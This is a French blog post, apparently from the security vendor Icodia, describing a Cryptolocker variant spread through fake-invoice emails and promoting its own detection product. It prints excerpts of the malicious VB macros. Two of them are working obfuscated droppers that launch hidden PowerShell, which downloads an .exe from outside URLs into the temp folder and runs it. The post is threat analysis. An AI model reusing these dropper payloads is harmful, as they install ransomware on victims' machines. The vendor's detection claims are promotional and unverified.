Nous évoquons malheureusement trop régulièrement la question des virus cryptolockers et des ransomewares, et particulièrement de leurs constantes évolutions afin de détourner les filtrages antivirus.

Depuis 24h, l’Endiguard.Mel le système de protection antivirus développé par Icodia, bloque des emails infectés d’une toute nouvelle nature :

Un virus qui évolue en temps réel

Une nouvelle fois, les pirates informatiques font preuve de leur détermination et des moyens dont ils disposent pour infecter nos machines.
Jusqu’à présent, les robots de hack étaient programmés pour faire évoluer le contenu texte des emails infectés qu’ils envoyaient en masse vers vos boîtes email, afin de minimiser la détection par les systèmes antivirus.

Depuis hier, l’Endiguard.Mel a identifié une nouvelle variante de Cryptolocker, qui évolue en continu :
A chaque envoi de virus, le programme du virus est modifié.
Notre système a identifié environ 500 variantes d’un probable même virus sur 24 heures.

Quand les humains prêtent main-forte aux robots

Après analyse, nos ingénieurs sont arrivés au constat que ces modifications ne peuvent être réalisées par un générateur : des développeurs VB (Visual Basic) interviennent manuellement et développent tout au long de la journée de nouvelles versions du code source, modifient et déplacent des parties de programme.

Une efficacité redoutable

Nous avons testé environ 20 échantillons : ils n’étaient absolument pas détectés par les 56 antivirus les plus connus du marché.

Ce type d’infection, lié aux récentes pratiques de ciblage précis avec une adresse francophone, risque malheureusement de causer énormément de ravages.

 

Pour être protégé

L’Endiguard.Mel a une fois encore enregistré depuis l’apparition de cette nouvelle forme virale, un taux de détection de 100%.

Un peu de technique

Quelques extraits ci dessous du code VB d’une fasse facture, salve de virus envoyés en même temps :

Exemple1 :

Dim esEifUDQDbPnWALN
Dim FnTqcJIkNA
Dim sDrSiwyNfeTXKnerBcYCvg
FnTqcJIkNA = « $OxLDq = ‘hfATtfATtfATpfAT:fAT/fAT/fATefATkfATofATlfATafATpfATsfATmfAT.fATtfATofATpfAT/fATafATdfATmfATifATnfAT.fATpfAThfATpfAT?fATffAT=fAT1fAT,fAThfATtfATtfATpfAT:fAT/fAT/fATtfATsfATifATvfATnfAT.fATcfATofATmfAT.fATvfATnfAT/fATsfATyfATsfATtfATefATmfAT/fATlfATofATgfATsfAT/fAT.fAT.fAT.fAT/fAT1fAT,fAThfATtfATtfATpfAT:fAT/fAT/fATlfATofATnfATgfATvfATafATnfATcfATefATrfATafATmfATifATcfATsfAT.fATcfATofATmfAT.fATvfATnfAT/fATifATmfATafATgfATefAT/fATffATlfATafATgfATsfAT/fAT.fAT.fAT.fAT/fAT1’ -replace ‘fAT’,  »; »
esEifUDQDbPnWALN = « $RPDAIwGT = $OxLDq.Split(‘,’);$FQKG = $Qelsl.next(1, 65536);$eiQY = $env:temp +  » + $FQKG + ‘.exe’;for » + « each($cnthLBbT in $RPDAIwGT){try{$JrKyaOnZJj.Downl » + « oadFile($cnthLBbT.ToString(), $eiQY);Start-Process $eiQY;break;}catch{write-host $_.Exception.Message;}} »
sDrSiwyNfeTXKnerBcYCvg = FnTqcJIkNA + esEifUDQDbPnWALN
BxjCjscfiaWTiARIafs (sDrSiwyNfeTXKnerBcYCvg)
End Sub

Exemple2 :

Dim eikku As String
eikku = « 4923170 »
While eikku <> 2005300
If eikku = « 4923170 » Then
ucuwsy = ucuwsy & chrw(hyqafmr.flleq) & chrw(hyqafmr.sidafnrk) & chrw(hyqafmr.fiysoxyg) & chrw(hyqafmr.jmpm) & chrw(hyqafmr.jsiq) & chrw(hyqafmr.vjumxby)
eikku = « 2424279 »
End If
chrw (hyqafmr.rlpiedg)
If eikku = « 3979207 » Then
Dim kgdhcm As String
kgdhcm = « 5625715 »
End If

Exemple3 :

Dim AsyHRWUPnhF
Dim XOYRAEjfCiGlFkafiCitbtF
Dim iLoIYjHRyaxeQv
XOYRAEjfCiGlFkafiCitbtF = « $psahulF = ‘hRctRctRcpRc:Rc/Rc/RcsRcoRckRceRcrRcrRcoRcrRcfRcaRc.RctRcoRcpRc/RcaRcdRcmRciRcnRc.RcpRchRcpRc?RcfRc=Rc1Rc,RchRctRctRcpRc:Rc/Rc/RctRcsRciRcvRcnRc.RccRcoRcmRc.RcvRcnRc/RcsRcyRcsRctRceRcmRc/RclRcoRcgRcsRc/Rc.Rc.Rc.Rc/Rc1Rc,RchRctRctRcpRc:Rc/Rc/RclRcoRcnRcgRcvRcaRcnRccRceRcrRcaRcmRciRccRcsRc.RccRcoRcmRc.RcvRcnRc/RciRcmRcaRcgRceRc/RcfRclRcaRcgRcsRc/Rc.Rc.Rc.Rc/Rc1’ -replace ‘Rc’,  »; »
AsyHRWUPnhF = « $kwlGenA = $psahulF.Split(‘,’);$ZKcctYsTwC = $KKEv.next(1, 65536);$cejJ = $env:temp +  » + $ZKcctYsTwC + ‘.exe’;for » + « each($lqwqh in $kwlGenA){try{$cOZrDsNblg.Downl » + « oadFile($lqwqh.ToString(), $cejJ);Start-Process $cejJ;break;}catch{write-host $_.Exception.Message;}} »
iLoIYjHRyaxeQv = XOYRAEjfCiGlFkafiCitbtF + AsyHRWUPnhF
kuvDvDzfNTiuNpNZ (iLoIYjHRyaxeQv)
End Sub
Function kuvDvDzfNTiuNpNZ(sqbhEWQIKhACHgQrdF)
Dim WcObRtqDbphys
WcObRtqDbphys = « powe » + « rshell $cOZrDsNblg = ne » + « w-ob » + « ject Sys » + « tem.Ne » + « t.Web » + « Client;$KKEv = new-ob » + « ject ra » + « ndom;  »
CreateObject(« WScript.Shell »).Run WcObRtqDbphys + sqbhEWQIKhACHgQrdF, 0
End Function

Exemple 4 :

Sub hwxrxrdg()
flleq = 2963 – 2864
End Sub
Sub hknkgplj()
sidafnrk = 5721 – 5612
End Sub
Sub yjxwscb()
fiysoxyg = -5156 + 5256
End Sub
Sub alejtvf()
jmpm = 5094 – 5048
End Sub
Sub kvuqly()
jsiq = 3808 – 3707
End Sub
Sub qnowpi()
vjumxby = -7954 + 8074
End Sub
Sub qkyp()
rlpiedg = -9074 + 9291
End Sub
Sub xroduuor()
drjdk = 5383 – 5282
End Sub
Sub qteqmgoa()
giyapchd = -5556 + 5588
End Sub
Sub cwghcnms()
mbfw = -5761 + 5808
End Sub